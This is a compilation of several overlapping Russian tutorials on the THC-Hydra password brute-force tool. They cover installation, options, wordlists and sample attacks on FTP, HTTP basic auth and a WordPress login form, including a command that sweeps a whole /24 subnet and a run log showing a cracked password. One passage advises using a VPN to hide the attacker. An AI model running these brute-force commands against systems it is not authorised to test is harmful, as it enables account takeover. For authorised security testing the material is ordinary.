Тестирование уязвимостей важно для владельцев веб-сайтов и серверов. Важно понимать, насколько они защищены от действий вероятных злоумышленников, особенно от популярного метода взлома путем перебора паролей (Brute Force). Один из популярных инструментов для этого – программное обеспечение THC-Hydra.
Установка THC-Hydra
В ПО встроены функции перебора паролей с прямым обращением к серверу. Такой подход дает возможность заодно проверить настройку брандмауэра, блокируются ли хакерские запросы к серверу или пропускаются, определяется ли тип атаки. Перечень поддерживаемых сервисов включает веб-приложения, FTP, SSH и другие протоколы соединения через интернет.
Процедура инсталляции из официального репозитория выглядит просто:
$ sudo apt install hydra – в системе Ubuntu.
$ sudo yum install hydra – то же, но в Red Hat или CentOS.
По приведенной команде будет скачана последняя стабильная версия программы. Если же хочется получить наиболее свежий релиз, пусть и в стадии бета-тестирования, придется устанавливать его вручную. Так, исходник THC-Hydra 8.4 скачивается командой:
$ wget https://github.com/vanhauser-thc/thc-hydra/archive/v8.4.tar.gz
Следующие действия включают распаковку, компиляцию и установку приложения:
$ tar xvpzf thc-hydra-v8.4.tar.gz $ cd thc-hydra-v8.4 $ ./configure $ make $ sudo make install
Рабочие файлы программы копируются в директорию /usr/local. Это удобнее, чем затем искать их по всему накопителю. Пользователю предоставляется выбор – использовать приложение через консоль или установить графическую оболочку. Второй вариант активируется командами:
$ cd hydra-gtk $ ./configure $ make $ sudo make install
Они вводятся в командную строку после перехода в каталог hydra-gtk. Оконный интерфейс особо не востребован, в большинстве случаев достаточно консоли, чтобы воспользоваться всем имеющимся в программе функционалом.
Комьюнити теперь в Телеграм
Подпишитесь и будьте в курсе последних IT-новостей
Подписаться
Основы работы в THC-Hydra
В командной строке управление настройками утилиты осуществляется при помощи определенного синтаксиса. Пользователю достаточно разобраться, когда и какие команды нужно вставлять в строку вместе с основной.
Общий формат выглядит так:
$ hydra опции логины пароли -s порт адрес_цели модуль параметры_модуля
Опциями меняются глобальные параметры, ими же задаются списки логинов и паролей для перебора. Также указывается IP-адрес удаленного хоста, который будет подвергаться проверке «атакой». Перечень основных опций представлен ниже:
- -R – повторно запустить незавершенную сессию;
- -S – подключаться с использованием протокола SSL;
- -s – вручную указать порт подключения к серверу;
- -l – указать определенный логин пользователя;
- -L – подключить файл со списком логинов;
- -p – внести конкретный пароль;
- -P – использовать пароли из текстового файла;
- -M – атаковать цели, указанные в списке;
- -x – активировать генератор паролей;
- -u – включается проверка одного пароля для всех логинов;
- -f – закрыть программу, если обнаружена правильная связка «логин-пароль»;
- -o – сохранить результаты сканирования в указанный файл;
- -t – принудительно задать количество потоков;
- -w – указать время, которое проходит между запросами (в секундах);
- -v – включить режим подробного вывода информации;
- -V – выводить тестируемые логины и пароли.
Программа поддерживает более 30 видов запросов, среди них есть POP3, SMTP, FTP, CISCO, ICQ, VNC, TELNET. Всего одним инструментом легко обеспечить проверку всей инфраструктуры – от хостинга и облачного хранилища до сервера, используемого для развертывания учетных программ класса ERP.
Далее рассмотрим наиболее востребованные функции приложения.
Как пользоваться THC-Hydra
Простейший вариант использования THC-Hydra – найти в интернете стандартные списки для Brute Force, подключить их при помощи опций и ждать результата. Также понадобятся данные сервера, на который будет осуществляться атака. Перечни паролей подходят и от других программ вроде John the Ripper.
Перебор пароля FTP
По протоколу FTP осуществляется подключение к файловой системе удаленных серверов в режиме «как на локальном компьютере». Поэтому это один из первых каналов взаимодействия с удаленным ресурсом, который рекомендуется проверять на защищенность. Запускается тестирование для FTP командой:
$ hydra -l admin -P john.txt ftp://127.0.0.1
Опция –l здесь задает логин пользователя, а –P подключает файл со списком вероятных паролей. За ними указывается путь к файлу, протокол и IP-адрес целевого хоста. После нажатия клавиши Enter программа начинает перебор со скоростью 300 шт. в минуту. Если реальный пароль достаточно сложный, результата придется ждать долго.
Чтобы сделать подбор более информативным, достаточно в командную строку внести опции –v и –V. Также есть возможность указать не один IP-адрес, а целую сеть или подсеть. Выполняется это при помощи квадратных скобок. Команда будет выглядеть так:
$ hydra -l admin -P john.txt ftp://[192.168.0.0/24]
Если есть заранее известный список IP-адресов, по которым требуется провести тестирование, он подключается в виде текстового файла:
$ hydra -l admin -P john.txt -M targets.txt ftp
Метод перебора с автоматической генерацией пароля подключается на основе заданного набора символов. Тогда вместо списка задается опция –x, а после нее вставляется строка с параметрами. Синтаксис команды такой:
минимальная_длина:максимальная_длина:набор_символов
Минимальное и максимальное количество знаков указывается цифрами, буквы указываются как в нижнем, так и в верхнем регистре (указывается A и a). Плюс рекомендуется добавлять цифры от 1 до 9 – в этом случае будет охвачен весь диапазон, кроме спецсимволов. Выглядеть строка будет следующим образом:
$ hydra -l admin -x 4:4:aA1. ftp://127.0.0.1
В приведенном примере программа будет подбирать пароль размером в 4 символа, состоящий из букв обоих регистров и цифр. Есть альтернативное написание, где протокол подключения указан в конце, после IP-адреса:
$ hydra -l admin -x 4:4:aA1 -s 21 127.0.0.1 ftp
Пароли по протоколам SSH, TELNET и схожих по назначению тестируются тем же образом, только в строке указывается соответствующая им команда.
Перебор пароля аутентификации HTTP
При работе с сетевым оборудованием, которое использует аутентификацию на основе HTTP, нужно использовать те же опции, которые описывались выше. Строка запуска приложения выглядит так:
$ hydra -l admin -P ~/john.txt -o ./result.log -V -s 80 127.0.0.1 http-get /login/
В приведенном примере программа будет подбирать пароль из подключенного файла-списка к логину admin. Метод подключения – HTTP-GEN, IP-адрес целевого хоста – 127.0.0.1, порт – 80. Результаты будут выгружены в файл result.log.
Перебор паролей веб-форм
Несколько сложнее запускается перебор для веб-форм. Здесь сначала понадобится выяснить, какие формы передаются на сервер, а какие обрабатываются на уровне локального компьютера. Поможет в этом исходный код, который легко просмотреть функциями браузера. Там нужно «подсмотреть» протокол, используемый для подключения. Например, на приведенном скрине это метод POST.
Получается, что в командной строке нужно указывать опцию http-post-form. Синтаксис параметров в этом случае будет выглядеть так:
адрес_страницы:имя_поля_логина=^USER^&имя_поля_пароля=^PASS^&произвольное_поле=значение:строка_при_неудачном_входе
Строка запуска:
$ hydra -l user -P ~/john.txt -o ./result.log -V -s 80 127.0.0.1 http-post-form "/wp-admin:log=^USER^&pwd=^PASS^:Incorrect Username or Password"
Переменные ^USER^ и ^PASS^ принимают значения, взятые из указанного файла (логин и пароль соответственно). В этом режиме скорость перебора выше – обычно она достигает 1000 паролей в минуту.
Выводы
Мы рассмотрели основные методы сканирования защиты серверов в программе Hydra. Графическая оболочка (xHydra) упрощает применение утилиты, когда приходится постоянно тестировать различные хосты, но при «одиночном» запуске обычно достаточно консоли.
В графическом интерфейсе имеется несколько вкладок:
- Target – цель атаки;
- Passwords – списки паролей;
- Tuning – дополнительные настройки;
- Specific – настройки модулей;
- Start – запуск и просмотр статуса.
Освоиться легко, но важно помнить, что использование приложения вне собственной компании, в частном порядке, может оказаться преступлением. Поэтому не стоит соглашаться на просьбы «проверить» безопасность на чужом сайте. Все должно проводиться официально.
Тестирование безопасности серверов и веб-приложений имеет очень важное значение, поскольку если уязвимость смогли найти вы, то ее найдет и злоумышленник, а значит он сможет получить доступ к вашим персональным данным или испортить приложение. Одним из самых эффективных и очень простых методов взлома есть перебор паролей. Поэтому очень важно убедиться, что ваш пароль будет сложно перебрать.
Hydra — это программное обеспечение с открытым исходным кодом для перебора паролей в реальном времени от различных онлайн сервисов, веб-приложений, FTP, SSH и других протоколов. Особенность инструмента в том, что здесь выполняется перебор не по хэшу, а напрямую с помощью запросов к серверу, это значит что вы сможете проверить правильно ли настроены фаерволы, блокируются ли такие попытки, а также можете ли вы вообще определить такую атаку на сервер. В этой статье мы рассмотрим как пользоваться thc hydra для перебора паролей.
Установка THC Hydra
Первым делом нам необходимо установить этот инструмент. Это довольно популярная утилита для тестирования безопасности, поэтому вы можете найти ее в официальных репозиториях. Для установки нужных пакетов в Ubuntu выполните:
sudo apt install hydra
Чтобы установить программу в Red Hat/CentOS команда аналогичная:
sudo yum install hydra
Но в официальных репозиториях, как правило, находятся более старые версии программы. Если вы хотите самую свежую, то придется собрать ее из исходников. Но здесь нет ничего сложного. Сначала загрузим исходники последней версии с GitHub, на данный момент, это 8.4:
wget https://github.com/vanhauser-thc/thc-hydra/archive/v8.4.tar.gz
Затем необходимо их распаковать и перейти в папку с исходниками:
tar xvpzf thc-hydra-v8.4.tar.gz
$ cd thc-hydra-v8.4
Дальше выполните такие команды для компиляции и установки:
./configure
$ make
$ sudo make install
Разработчики поступили очень грамотно, когда настроили установку в /usr/local. Таким образом, утилита не распространится по всей файловой системе, а будет в одном месте. Если вы еще хотите установить графическую оболочку, то вам нужно переместиться в папку hydra-gtk и выполнить те же команды:
cd hydra-gtk
$ ./configure
$ make
$ sudo make install
Нужно заметить, что для ее сборки необходимы пакеты разработки gtk2. Но я бы не советовал вам использовать этот графический интерфейс. Если разобраться в работе с утилитой через терминал, то он совсем не нужен, тем более, что вся гибкость утилиты раскрывается через командную строку.
Программа THC Hydra
Перед тем как мы начнем рассматривать как пользоваться htc hydra, нам необходимо разобраться какие параметры команде передавать и как это делать. Давайте сначала рассмотрим общий синтаксис:
$ hydra опции логины пароли -s порт адрес_цели модуль параметры_модуля
Опции задают глобальные параметры утилиты, с помощью них вы можете настроить необходимые параметры, например, указать что нужно выводить информацию очень подробно, список логинов и паролей для перебора задается тоже с помощью опций, но я выделил его в отдельный пункт. Дальше нужно задать порт сервиса на удаленной машине и ip адрес цели. В конце мы задаем модуль перебора, который будем использовать и параметры модуля. Обычно это самая интересная часть но начнем мы с опций:
- -R — восстановить ранее прерванную сессию Hydra;
- -S — использовать SSL для подключения;
- -s — указать порт;
- -l — использовать логин;
- -L — выбирать логины из файла со списком;
- -p — использовать пароль;
- -P — использовать пароль из файла со списком;
- -M — взять список целей из файла;
- -x — генератор паролей;
- -u — по умолчанию hydra проверяет все пароли для первого логина, эта опция позволяет проверить один пароль для всех логинов;
- -f — выйти, если правильный логин/пароль найден;
- -o — сохранить результат в файл;
- -t — количество потоков для программы;
- -w — время между запросами в секундах;
- -v — подробный вывод;
- -V — выводить тестируемые логины и пароли.
Это были основные опции, которые, вы будете использовать. Теперь рассмотрим модули, а также способы аутентификации, которые вы можете подобрать:
- adam6500;
- asterisk;
- cisco;
- cisco-enable;
- cvs;
- ftp;
- http-head;
- http-get;
- http-post;
- http-get-form;
- http-post-form;
- http-proxy;
- http-proxy-urlenum;
- icq;
- imap;
- irc;
- ldap2;
- ldap3;
- mssql;
- nntp;
- pcanywhere;
- pcnfs;
- pop3;
- redis;
- rexec;
- rlogin;
- rpcap;
- rsh;
- rtsp;
- s7-300;
- smb;
- smtp;
- smtp-enum;
- snmp;
- socks5;
- ssh;
- teamspeak;
- telnet;
- vmauthd;
- vnc;
- xmpp.
Как видите, количество доступных протоколов достаточно большое, вы можете проверить безопасность как ssh, ftp, и до веб-форм. Дальше мы рассмотрим как пользоваться hydra, как использовать самые часто применяемые протоколы.
Как пользоваться thc-hydra
Как вы уже догадались, hydra перебирает пароли из переданного ей файла, оттуда же берутся и логины. Также вы можете попросить программу генерировать пароли самостоятельно, на основе регулярного выражения. А вот уже их подстановка и передача на удаленный сервер настраивается с помощью строки параметров модуля. Естественно, что файлы с паролями нужно заготовить. В этой статье для примеров я буду использовать файл паролей от John the ripper, который вы можете без проблем найти в интернете. Также можно использовать словари топ500 паролей, и от Cain & Abel, где находится более 300000 пароля. Логин будем использовать только один — admin.
Перебор пароля FTP
Сначала поговорим про использование hydra в консольной версии. На самом деле, это основная программа. Команда будет выглядеть таким образом:
hydra -l admin -P john.txt ftp://127.0.0.1
Как вы помните опция -l задает логин пользователя, -P — файл со списком паролей. Далее мы просто указываем протокол и айпи цели. Готово, вот так просто можно перебрать пароль от вашего FTP, если вы установили его слишком простым и не настроили защиты. Как видите, утилита перебирает пароли со скоростью 300 шт в минуту. Это не очень быстро, но для простых паролей достаточно опасно. Если вы хотите получить больше информации во время перебора нужно использовать опции -v и -V вместе:
hydra -l admin -P john.txt -vV ftp://127.0.0.1
Также, с помощью синтаксиса квадратных скобок, вы можете задать не одну цель, а атаковать сразу целую сеть или подсеть:
hydra -l admin -P john.txt ftp://[192.168.0.0/24]
Также вы можете брать цели из файла со списком. Для этого используется опция -M:
hydra -l admin -P john.txt -M targets.txt ftp
Если подбор по словарю не сработал, можно применить перебор с автоматической генерацией символов, на основе заданного набора. Вместо списка паролей нужно задать опцию -x а ей передать строку с параметрами перебора. Синтаксис ее такой:
минимальная_длина:максимальная_длина:набор_символов
С максимальным и минимальным количеством, я думаю все понятно, они указываются цифрами. В наборе символов нужно указать a для всех букв в нижнем регистре, A — для букв в верхнем регистре и 1 для всех цифр от 0 до 9. Дополнительные символы указываются после этой конструкции как есть. Например:
- 4:4:1 — пароль размером четыре символа, состоящий только из цифр. А именно все пароли в диапазоне 0000-9999;
- 4:8:1 — пароль от четырех до восьми символов, только из цифр;
- 4:5:aA1. — пароль, размером от 4 до 5 символов, состоит из цифр, букв верхнего и нижнего регистра или точки.
Вся команда будет выглядеть вот так:
hydra -l admin -x 4:4:aA1. ftp://127.0.0.1
Можно пойти другим путем и указать ip цели и порт вручную с помощью опции -s, а затем указать модуль:
hydra -l admin -x 4:4:aA1 -s 21 127.0.0.1 ftp
Пароли для ssh, telet и других подобных сервисов перебираются подобным образом. Но более интересно рассмотреть перебор паролей для http и html форм.
Перебор пароля аутентификции HTTP
Различные роутеры часто используют аутентификацию на основе HTTP. Перебор пароля от такого типа формы входа выполняется очень похожим образом на ftp и ssh. Строка запуска программы будет выглядеть вот так:
hydra -l admin -P ~/john.txt -o ./result.log -V -s 80 127.0.0.1 http-get /login/
Здесь мы использовали логин admin, список паролей из файла john.txt, адрес цели 127.0.0.1 и порт 80, а также модуль http-get. В параметрах модулю нужно передать только адрес страницы входа на сервере. Как видите, все не так сильно отличается.
Перебор паролей веб-форм
Самый сложный вариант — это перебор паролей для веб-форм. Здесь нам нужно узнать что передает на сервер нужная форма в браузере, а затем передать в точности те же данные с помощью hydra. Вы можете посмотреть какие поля передает браузер с помощью перехвата в wireshark, tcpdump, в консоли разработчика и так далее. Но проще всего открыть исходный код формы и посмотреть что она из себя представляет. Далеко ходить не будем и возьмем форму WordPress:
Как видите, передаются два поля log и pwd, нас будут интересовать только значения полей input. Здесь несложно догадаться, что это логин и пароль. Поскольку форма использует метод POST для передачи данных, то нам нужно выбрать модуль http-post-form. Синтаксис строки параметров будет выглядеть вот так:
адрес_страницы:имя_поля_логина=^USER^&имя_поля_пароля=^PASS^&произвольное_поле=значение:строка_при_неудачном_входе
Строчка запуска программы будет выглядеть вот так:
hydra -l user -P ~/john.txt -o ./result.log -V -s 80 127.0.0.1 http-post-form "/wp-admin:log=^USER^&pwd=^PASS^:Incorrect Username or Password"
Переменные ^USER^ и ^PASS^ содержат имя пользователя и пароль взятые из словаря, также, возможно, придется передать дополнительные параметры, они передаются также, только значения будут фиксированы. Заканчивается выражение строкой, которая присутствует на странице при неудачном входе. Скорость перебора может достигать 1000 паролей в минуту, что очень быстро.
Графическая утилита xhydra
Хотелось бы еще сказать несколько слов про графическую версию. Это просо интерфейс, который помогает вам сформировать команду для консольной hydra. Главное окно программы выглядит вот так:
Здесь есть несколько вкладок:
- Target — цели атаки;
- Passwords — списки паролей;
- Tuning — дополнительные настройки;
- Specific — настройки модулей;
- Start — запуск и просмотр статуса атаки.
Я думаю, вы без труда во всем этом разберетесь когда освоите консольный вариант. Например, так выполняется настройка перебора паролей ftp:
Выводы
В этой статье мы рассмотрели как пользоваться hydra для перебора паролей от различных сетевых сервисов онлайн, а также тестирования безопасности своих систем. Помните, что использовать такие инструменты против чужих систем — преступление. Вы можете тестировать только свои машины и службы. Проводить время от времени такое тестирование в большой компании может быть крайне полезно.
Статья распространяется под лицензией Creative Commons ShareAlike 4.0 при копировании материала ссылка на источник обязательна .
Полезный универсальный инструмент для подбора паролей при проведения тестов на уязвимость собственных ресурсов
Внимание! Статья носит исключительно ознакомительную информацию с утилитой и ни в коем случае не призывает использовать её в мошеннических целях. Как правило, данная утилита может быть использована для проведения тестов на уязвимость собственных ресурсов. Не забывайте предохраняться и натянуть на себя VPN хотя бы.
Когда penetration testing
заходит в тупик, остается крайний метод — подбор пароля. Дабы уницифировать все инструменты подбора паролей и не использовать для разных задач отдельные брутфорсы есть замечательный универсальный инструмент — THC-Hydra, который имеет поддержку пароля по/для Asterisk
, AFP
, Cisco AAA
, Cisco auth
, Cisco enable
, CVS
, Firebird
, FTP
, HTTP-FORM-GET
, HTTP-FORM-POST
, HTTP-GET
, HTTP-HEAD
, HTTP-PROXY
, HTTPS-FORM-GET
, HTTPS-FORM-POST
, HTTPS-GET
, HTTPS-HEAD
, HTTP-Proxy
, ICQ
, IMAP
, IRC
, LDAP
, MS-SQL
, MYSQL
, NCP
, NNTP
, Oracle Listener
, Oracle SID
, Oracle
, PC-Anywhere
, PCNFS
, POP3
, POSTGRES
, RDP
, Rexec
, Rlogin
, Rsh
, SAP/R3
, SIP
, SMB
, SMTP
, SMTP Enum
, SNMP v1+v2+v3
, SOCKS5
, SSH (v1 and v2)
, SSHKEY
, Subversion
, Teamspeak (TS2)
, Telnet
, VMware-Auth
, VNC
и XMPP
.
Установка
Пакет hydra
содержится в epel-репозитории, поэтому достаточно подключить его и установить.
yum install -y epel-release
yum install -y hydra
Или собрать с сорсов для пользователей других ОС:
mkdir ~/hydra_src && cd ~/hydra_src
wget https://github.com/vanhauser-thc/thc-hydra/archive/master.zip && unzip master.zip && rm -f master.zip
cd thc-hydra-master/
yum install gcc mysql-devel libssh
make clean && ./configure
make && make install
hydra -h
Hydra v7.5 (c)2013 by van Hauser/THC & David Maciejak - for legal purposes only
Syntax: hydra [[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]] [-e nsr] [-o FILE] [-t TASKS] [-M FILE [-T TASKS]] [-w TIME] [-W TIME] [-f] [-s PORT] [-x MIN:MAX:CHARSET] [-SuvV46] [service://server[:PORT][/OPT]]
Options:
-R restore a previous aborted/crashed session
-S perform an SSL connect
-s PORT if the service is on a different default port, define it here
-l LOGIN or -L FILE login with LOGIN name, or load several logins from FILE
-p PASS or -P FILE try password PASS, or load several passwords from FILE
-x MIN:MAX:CHARSET password bruteforce generation, type "-x -h" to get help
-e nsr try "n" null password, "s" login as pass and/or "r" reversed login
-u loop around users, not passwords (effective! implied with -x)
-C FILE colon separated "login:pass" format, instead of -L/-P options
-M FILE list of servers to be attacked in parallel, one entry per line
-o FILE write found login/password pairs to FILE instead of stdout
-f / -F exit when a login/pass pair is found (-M: -f per host, -F global)
-t TASKS run TASKS number of connects in parallel (per host, default: 16)
-w / -W TIME waittime for responses (32s) / between connects per thread
-4 / -6 prefer IPv4 (default) or IPv6 addresses
-v / -V / -d verbose mode / show login+pass for each attempt / debug mode
-U service module usage details
server the target server (use either this OR the -M option)
service the service to crack (see below for supported protocols)
OPT some service modules support additional input (-U for module help)
Supported services: asterisk cisco cisco-enable cvs firebird ftp ftps http[s]-{head|get} http[s]-{get|post}-form http-proxy http-proxy-urlenum icq imap[s] irc ldap2[s] ldap3[-{cram|digest}md5][s] mssql mysql nntp oracle-listener oracle-sid pcanywhere pcnfs pop3[s] postgres rdp rexec rlogin rsh sip smb smtp[s] smtp-enum snmp socks5 ssh sshkey svn teamspeak telnet[s] vmauthd vnc xmpp
Hydra is a tool to guess/crack valid login/password pairs - usage only allowed
for legal purposes. This tool is licensed under AGPL v3.0.
The newest version is always available at http://www.thc.org/thc-hydra
These services were not compiled in: sapr3 afp ncp oracle.
Use HYDRA_PROXY_HTTP/HYDRA_PROXY and HYDRA_PROXY_AUTH environment for a proxy.
E.g.: % export HTTP_PROXY=socks5://127.0.0.1:9150 (or socks4:// or connect://)
% export HTTP_PROXY_HTTP=http://proxy:8080
% export HTTP_PROXY_AUTH=user:pass
Examples:
hydra -l user -P passlist.txt ftp://192.168.0.1
hydra -L userlist.txt -p defaultpw imap://192.168.0.1/PLAIN
hydra -C defaults.txt -6 pop3s://[fe80::2c:31ff:fe12:ac11]:143/TLS:DIGEST-MD5
Словари
Брутить можно как с помощью подбора посимвольно, так и с помощью подготовленного словаря наиболее часто используемых паролей. Рекомендую первым делом попытаться подобрать пароль со словарем, и уже если и этот способ не увенчался успехом — переходить к прямому бруту посмивольно.
Словари можно поискать здесь или воспользоваться имеющимися.
Готовые списки паролей: top500; top4000; cain&abel (300k); пароли от яндекса (700k); пароли от маил.ру (2740k); маил.ру + яндекс (3300k)
Использование
Рассмотрим флаги запуска:
- -R Восстановить предыдущую сессию, которая по какой-либо причине была прервана
- -S Использовать SSL соединение
- -s PORT Указание порта (отличного от дефолтного) сервиса
- -l LOGIN Использовать указанный логин для попытки аутентификации
- -L FILE Использовать список логинов из указанного файла
- -p PASS Использовать указанный пароль для попытки аутентификации
- -P FILE Использовать список паролей из указанного файла
- -x Генерировать пароли для подбора самостоятельно, указывается в формате -x MIN:MAX:CHARSET, где MIN — это минимальная длинна пароля, MAX — соответственно, максимальная, а CHARSET — это набор символов, в котором a означает латиницу в нижнем регистре, A — в верхнем регистре, 1 — числа, а для указания дополнительных символов — просто укажи их как есть. Вот несколько примеров генерации паролей:
- -x 3:5:a — длинной от 3 до 5 символов, состоящие только из символов латиницы в нижнем регистре;
- -x 5:8:A1 — длинной от 5 до 8 символов, состоящие из символов латиницы в верхнем регистре + цифр;
- -x 1:3:/ — длинной от 1 до 3 символов, состоящие только из символов слеша /;
- -x 5:5:/%,.- — длинной в 5 символов, состоящие только из символов /%,.-;
- -e nsr Укажи n для проверки пустых паролей, s для попытки использования в качестве пароля — логин, и (или) r для попытки входа под перевернутым логином
- -u Пытаться подобрать логин а не пароль
- -C FILE Использовать файл в формате login:pass вместо указания -L/-P
- -M FILE Файл со списком целей для брутфорса (можно с указанием порта через двоеточие), по одному на строку
- -o FILE Записать подобранную пару логин/пароль в файл, вместо того чтоб просто вывести в stdout (будет указан с указанием сервера, к которому подобран — не запутаешься)
- -f / -F Прекратить работу, как только первая пара логин:пароль будет подобрана. -f только для текущего хоста, -F — глобально.
- -t TASKS Количество параллельных процессов (читай — потоков). По умолчанию 16
- -w Таймаут для ответа сервера. По умолчанию 32 секунды
- -W Таймаут между ответами сервера
- -4 / -6 Использовать IPv4 (по умолчанию) или IPv6 адреса (при указании с -M всегда заключай в [])
- -v Более подробный вывод информации о процессе
- -V Выводить каждый подбираемый логин + пароль
- -d Режим дебага
- -O Использовать старый SSL v2 и v3
- -q Не выводить сообщения об ошибках подключения
- -U Дополнительная информация о использовании выбранного модуля
- -h Вывод справочной информации
Примеры работы
Basic Authentication
Cканируя диапазон адресов мы попадаем на некоторый интерфейс, доступный по http
протоколу, но закрытый для доступа при помощи Basic Authentication
(пример настройки с помощью nginx).
- IP сервера: 192.168.2.15;
- Сервис: http;
- Путь, который закрыт для нас запросом пары логин/пароль: /admin/;
- Порт, на котором работает http сервер: 80;
Предположим (или любым доступным путем выясним), что логин для авторизации admin
, и нам неизвестен лишь пароль. Подбирать будем с помощью заранее подготовленного словаря и с использованием модуля http-get
:
[[email protected] opt]
Hydra v7.5 (c)2013 by van Hauser/THC & David Maciejak - for legal purposes only
Hydra (http://www.thc.org/thc-hydra) starting at 2016-06-08 14:37:45
[DATA] 16 tasks, 1 server, 234 login tries (l:1/p:234), ~14 tries per task
[DATA] attacking service http-get on port 80
[ATTEMPT] target 192.168.2.15 - login "admin" - pass "slt1311113" - 1 of 234 [child 0]
[ATTEMPT] target 192.168.2.15 - login "admin" - pass "slt19391936" - 2 of 234 [child 1]
[ATTEMPT] target 192.168.2.15 - login "admin" - pass "slt2006pp" - 3 of 234 [child 2]
[ATTEMPT] target 192.168.2.15 - login "admin" - pass "slt21l16" - 4 of 234 [child 3]
[ATTEMPT] target 192.168.2.15 - login "admin" - pass "slt5390" - 5 of 234 [child 4]
[ATTEMPT] target 192.168.2.15 - login "admin" - pass "slt911pvpsw2" - 6 of 234 [child 5]
[ATTEMPT] target 192.168.2.15 - login "admin" - pass "sltanya" - 7 of 234 [child 6]
[ATTEMPT] target 192.168.2.15 - login "admin" - pass "admin" - 8 of 234 [child 7]
[ATTEMPT] target 192.168.2.15 - login "admin" - pass "password" - 9 of 234 [child 8]
...
[80][www] host: 192.168.2.15 login: admin password: password
[STATUS] attack finished for 192.168.2.15 (valid pair found)
1 of 1 target successfully completed, 1 valid password found
Статья ожидает продолжения..
Программа hydra поддерживает огромное количество служб, благодаря своей быстроте и надёжности она завоевала заслуженную признательность среди тестеров на проникновение. Будучи очень мощной и гибкой, программу hydra нельзя отнести к простым и легко дающимся новичкам. Не надо отчаиваться, если вам не удалось оседлать hydra, я рекомендую вам посмотреть на программу BruteX. Она значительно автоматизирует процесс подбора, более того, она использует ту же самую hydra, но сама вводит необходимые ключи и даже не нужно искать файлы с именами и паролями, поскольку они поставляются вместе с программой. Если я вас заинтересовал, то рекомендую статью «BruteX: программа для автоматического брутфорса всех служб».
Этот инструмент — THC-Hydra — предназначен только для законных целей.
Программа прекрасно компилируется и работает на Linux, Windows/Cygwin, Solaris, FreeBSD/OpenBSD, QNX (Blackberry 10) и OSX. Лучше всех пользователям Kali Linux – у них программа уже установлена.
В настоящее время поддерживаются следующие протоколы: Asterisk, AFP, Cisco AAA, Cisco auth, Cisco enable, CVS, Firebird, FTP, HTTP-FORM-GET, HTTP-FORM-POST, HTTP-GET, HTTP-HEAD, HTTP-PROXY, HTTPS-FORM-GET, HTTPS-FORM-POST, HTTPS-GET, HTTPS-HEAD, HTTP-Proxy, ICQ, IMAP, IRC, LDAP, MS-SQL, MYSQL, NCP, NNTP, Oracle Listener, Oracle SID, Oracle, PC-Anywhere, PCNFS, POP3, POSTGRES, RDP, Rexec, Rlogin, Rsh, SAP/R3, SIP, SMB, SMTP, SMTP Enum, SNMP v1+v2+v3, SOCKS5, SSH (v1 и v2), SSHKEY, Subversion, Teamspeak (TS2), Telnet, VMware-Auth, VNC и XMPP.
Ну т. е. правда — много.
Синтаксис Hydra:
Код:
hydra [[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]] [-e nsr] [-o FILE] [-t TASKS] [-M FILE [-T TASKS]] [-w TIME] [-W TIME] [-f] [-s PORT] [-x MIN:MAX:CHARSET] [-SuvVd46] [service://server[:PORT][/OPT]]
Прибавилось ли понимания после увиденного синтаксиса? )) Не переживайте, сейчас рассмотрим опции THC-Hydra, а потом углубимся в понимание работы с этой программой.
Опции hydra:
Код:
-R восстановить предыдущую прерванную/оборванную сессию
-S выполнить SSL соединение
-s ПОРТ если служба не на порту по умолчанию, то можно задать порт здесь
-l ЛОГИН или -L ФАЙЛ с ЛОГИНАМИ (именами), или загрузить несколько логинов из ФАЙЛА
-p ПАРОЛЬ или -P ФАЙЛ с паролями для перебора, или загрузить несколько паролей из ФАЙЛА
-x МИНИМУМ:МАКСИМУМ:НАБОР_СИМВОЛОВ генерация паролей для брутфорса, наберите "-x -h" для помощи
-e nsr "n" — пробовать с пустым паролем, "s" — логин в качестве пароля и/или "r" — реверс учётных данных
-u зацикливаться на пользователя, а не на парлях (эффективно! подразумевается с использованием опции -x)
-C ФАЙЛ формат где "логин:пароль" разделены двоеточиями, вместо опции -L/-P
-M ФАЙЛ список серверов для атак, одна запись на строку, после двоеточия ':' можно задать порт
-o ФАЙЛ записывать найденные пары логин/пароль в ФАЙЛ вместо стандартного вывода
-f / -F выйти, когда пара логин/пароль подобрана (-M: -f для хоста, -F глобально)
-t ЗАДАЧИ количество запущенных параллельно ЗАДАЧ (на хост, по умолчанию: 16)
-w / -W ВРЕМЯ время ожидания ответов (32 секунды) / между соединениями на поток
-4 / -6 предпочитать IPv4 (по умолчанию) или IPv6 адреса
-v / -V / -d вербальный режим / показывать логин+пароль для каждой попытки / режим отладки
-q не печатать сообщения об ошибках соединения
-U подробные сведения об использовании модуля
server цель: DNS, IP или 192.168.0.0/24 (эта ИЛИ опция -M)
service служба для взлома (смотрите список поддерживаемых протоколов)
OPT некоторые модули служб поддерживают дополнительный ввод (-U для справки по модулю)
Как использовать hydra
Пароли для Hydra
THC-Hydra поставляется без логинов/паролей. Нам нужно самим где-то их раздобыть. И вот здесь нам поможет недавняя статья «Списки слов для атаки по словарю: пароли, имена пользователей, каталоги». Изучайте её, скачивайте свои пароли.
Ещё файлы с дефолтными паролями позволяет генерировать утилита от hydra — dpl4hydra.sh. Чтобы узнать, какие устройства есть в базе, зайдите
Ссылка скрыта от гостей
.
Чтобы воспользоваться программой dpl4hydra.sh на Kali Linux, нам сначала нужно её скачать (по какой-то причине авторы Kali не включили её в стандартную установку).
Код:
wget https://raw.githubusercontent.com/vanhauser-thc/thc-hydra/master/dpl4hydra.sh
Теперь создаём необходимые для работы программы файлы:
Код:
touch /usr/local/etc/dpl4hydra_full.csv /usr/local/etc/dpl4hydra_local.csv
Запускаем первый раз
Теперь можно сделать так:
чтобы скачать дефолтные пароли для всех брендов. А можно задать конкретный бренд, например, меня очень интересуют популярные роутеры D-Link, то я набираю
По идее, должен сгенерироваться файл с дефолтными паролями устройств D-Link, но этого не происходит из-за каких-то ошибок парсинга. Пусть нас это не огорчает, ведь ссылку на статью с паролями я уже дал.
Графический интерфейс Hydra
Кстати, для пользователей Linux доступен графический интерфейс (GTK gui), для его запуска наберите
Использование Hydra в командной строке
Для использования в командной строке синтаксис следующий:
- Для атаки одной цели или сети, вы можете использовать новый стиль ://
hydra [некоторые опции командной строки] ПРОТОКОЛ://ЦЕЛЬ:ПОРТ/ОПЦИИ
- Старая старый синтаксис также поддерживается, а если вы хотите, то дополнительно можете задать цели из текстового файла, при этом вы *должны* использовать этот синтаксис:
hydra [некоторые опции командной строки] [-s порт] ЦЕЛЬ ПРОТОКОЛ ОПЦИИ
